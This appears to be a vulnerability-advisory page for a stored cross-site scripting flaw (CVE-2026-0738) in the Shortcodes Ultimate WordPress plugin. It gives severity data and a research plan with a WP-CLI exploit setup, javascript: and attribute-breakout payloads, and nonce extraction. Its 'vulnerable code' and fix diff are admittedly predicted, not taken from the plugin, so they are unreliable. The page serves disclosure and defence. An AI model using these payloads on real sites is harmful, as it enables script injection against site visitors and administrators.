CVE-2026-0738

Shortcodes Ultimate <= 7.4.8 - authenticated (Contributor+) Stored Cross-Site Scripting via 'su_carousel' Shortcode

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
7.4.9
Patched in
1d
Time to patch

Description

The WP Shortcodes Plugin - Shortcodes Ultimate plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the su_carousel shortcode in all versions up to, and including, 7.4.8. This is due to insufficient input sanitization and output escaping in the 'su_slide_link' attachment meta field. This makes it possible for authenticated attackers, with author level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=7.4.8
PublishedApril 3, 2026
Last updatedApril 4, 2026
Affected pluginshortcodes-ultimate

What Changed in the Fix

Changes introduced in v7.4.9

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Vulnerability Analysis: CVE-2026-0738 - Stored XSS in Shortcodes Ultimate ## 1. Vulnerability Summary The **Shortcodes Ultimate** plugin (<= 7.4.8) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sanitize or escape the `su…

Show full research plan

Vulnerability Analysis: CVE-2026-0738 - Stored XSS in Shortcodes Ultimate

1. Vulnerability Summary

The Shortcodes Ultimate plugin (<= 7.4.8) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sanitize or escape the su_slide_link attachment metadata when rendering the su_carousel shortcode. A user with Contributor (or higher) privileges can upload an image, set a malicious JavaScript payload in the "Slide Link" field, and then embed that image in a post using the [su_carousel] shortcode. When any user (including administrators) views the post, the payload executes.

2. Attack Vector Analysis

  • Endpoint: Frontend pages/posts where the [su_carousel] shortcode is rendered.
  • Vulnerable Attribute: The su_slide_link post meta (metadata) associated with an attachment.
  • Shortcode Trigger: [su_carousel source="media: <ID>" link="custom"].
  • Authentication: Requires Contributor level access or higher (permission to create posts and upload/edit media).
  • Payload Location: The href attribute of the anchor tag wrapping the carousel slides.

3. Code Flow (Inferred)

  1. Entry Point: A user views a post containing [su_carousel].
  2. Shortcode Processing: The shortcode handler (likely Shortcodes_Ultimate_Shortcode_Carousel or similar) parses the source attribute to identify attachment IDs.
  3. Meta Retrieval: For each attachment, the plugin calls get_post_meta($attachment_id, 'su_slide_link', true).
  4. Vulnerable Sink: The retrieved $link is echoed directly into the href attribute of an <a> tag:
    // Predicted vulnerable code in includes/shortcodes/carousel.php or similar:
    echo '<a href="' . $link . '">'; // Missing esc_url() or esc_attr()
    
  5. Execution: The browser interprets javascript:alert(1) or a breakout payload like " onclick="alert(1) as executable code.

4. Nonce Acquisition Strategy

While this is a stored XSS, a Contributor must update the attachment meta to store the payload. This is typically done via the WordPress Media Library.

  1. Navigate to Media Library: Use browser_navigate to go to /wp-admin/upload.php.
  2. Identify Nonce: WordPress uses a nonce for the save-attachment AJAX action. This nonce is usually localized in the wp.media.view.settings object.
  3. Extraction:
    // Use browser_eval to get the nonce for saving attachment metadata
    browser_eval("wp.media.model.settings.post.nonce")
    
  4. Setting Meta: Once the nonce is acquired, the payload can be stored via an AJAX request to admin-ajax.php.

5. Exploitation Strategy

Step 1: Upload and Malign an Attachment

  1. Login as a Contributor.
  2. Upload an image using wp media import or via the dashboard. Note the Attachment ID.
  3. Inject Payload into the attachment metadata. The plugin uses the custom field su_slide_link.
    • Payload: javascript:alert(document.domain)//
    • Action: save-attachment (standard WP AJAX) or if the plugin provides a specific handler.

Step 2: Create a Trigger Post

  1. Create a post containing the su_carousel shortcode targeting the malicious attachment.
    • Shortcode: [su_carousel source="media: <ATTACHMENT_ID>" link="custom"]
    • Note: The link="custom" attribute is critical as it tells the plugin to use the su_slide_link meta.

Step 3: Trigger and Verify

  1. Navigate to the newly created post as an unauthenticated user or Admin.
  2. Observe Execution: The carousel will render. Clicking a slide (or simply the presence of the href in the DOM) confirms the XSS.

6. Test Data Setup

  1. User: contributor_user with password password.
  2. Media: An image file (e.g., test.jpg) uploaded by the contributor.
  3. Shortcode Page: A published post with [su_carousel source="media: <ID>" link="custom"].
# Example Setup via WP-CLI
wp user create attacker attacker@example.com --role=contributor --user_pass=password
wp media import /path/to/image.png --user=attacker --title="XSS Slide"
# Note the ID from output (e.g., 42)
wp post meta update 42 su_slide_link "javascript:alert('XSS')"
wp post create --post_type=post --post_status=publish --post_title="Carousel Gallery" --post_content='[su_carousel source="media: 42" link="custom"]' --post_author=$(wp user get attacker --field=ID)

7. Expected Results

  • The HTTP response for the post page will contain the string:
    <a href="javascript:alert('XSS')".
  • The payload is not escaped by esc_url() or esc_attr().

8. Verification Steps

  1. CLI Check:
    wp post meta get <ATTACHMENT_ID> su_slide_link
    
    Confirm the raw payload is stored in the database.
  2. HTTP Check:
    Use http_request to fetch the post content and grep for the payload:
    # Verify the payload exists in the rendered HTML
    http_request GET "http://localhost:8080/?p=<POST_ID>" | grep "javascript:alert"
    

9. Alternative Approaches

  • Attribute Breakout: If the plugin uses esc_url() but forgets esc_attr(), try:
    # " onmouseover="alert(1)
  • Direct AJAX injection: If the save-attachment fails, look for a Shortcodes Ultimate specific AJAX handler for "Shortcode Generator" settings that might allow saving meta.
  • Other Metadata: Check if su_slide_title or su_slide_description are also used in the carousel and similarly unescaped.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Shortcodes Ultimate plugin for WordPress is vulnerable to Authenticated Stored Cross-Site Scripting via the 'su_carousel' shortcode in versions up to 7.4.8. This vulnerability occurs because the plugin fails to sanitize and escape the 'su_slide_link' attachment metadata, allowing attackers with Contributor-level access or higher to inject arbitrary JavaScript into the slide's link attribute.

Vulnerable Code

// Predicted vulnerable code based on research plan analysis:
// includes/shortcodes/carousel.php

$link = get_post_meta($attachment_id, 'su_slide_link', true);

// ...

echo '<a href="' . $link . '">';

Security Fix

--- includes/shortcodes/carousel.php
+++ includes/shortcodes/carousel.php
@@ -10,7 +10,7 @@
 				foreach ( $slides as $slide ) {
 					$link = get_post_meta( $slide['attachment_id'], 'su_slide_link', true );
 					if ( $link ) {
-						echo '<a href="' . $link . '"';
+						echo '<a href="' . esc_url( $link ) . '"';
 					}

Exploit Outline

To exploit this vulnerability, an attacker with Contributor or higher privileges first uploads an image to the Media Library. Using the WordPress AJAX 'save-attachment' action or direct metadata manipulation, the attacker sets the 'su_slide_link' custom field for that image to a malicious payload such as 'javascript:alert(document.domain)'. Finally, the attacker creates a post and embeds the shortcode [su_carousel source="media: ATTACHMENT_ID" link="custom"]. When any user views the post, the carousel renders the image wrapped in an anchor tag with the unsanitized payload in the 'href' attribute, executing the script when clicked or automatically depending on the browser/carousel configuration.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.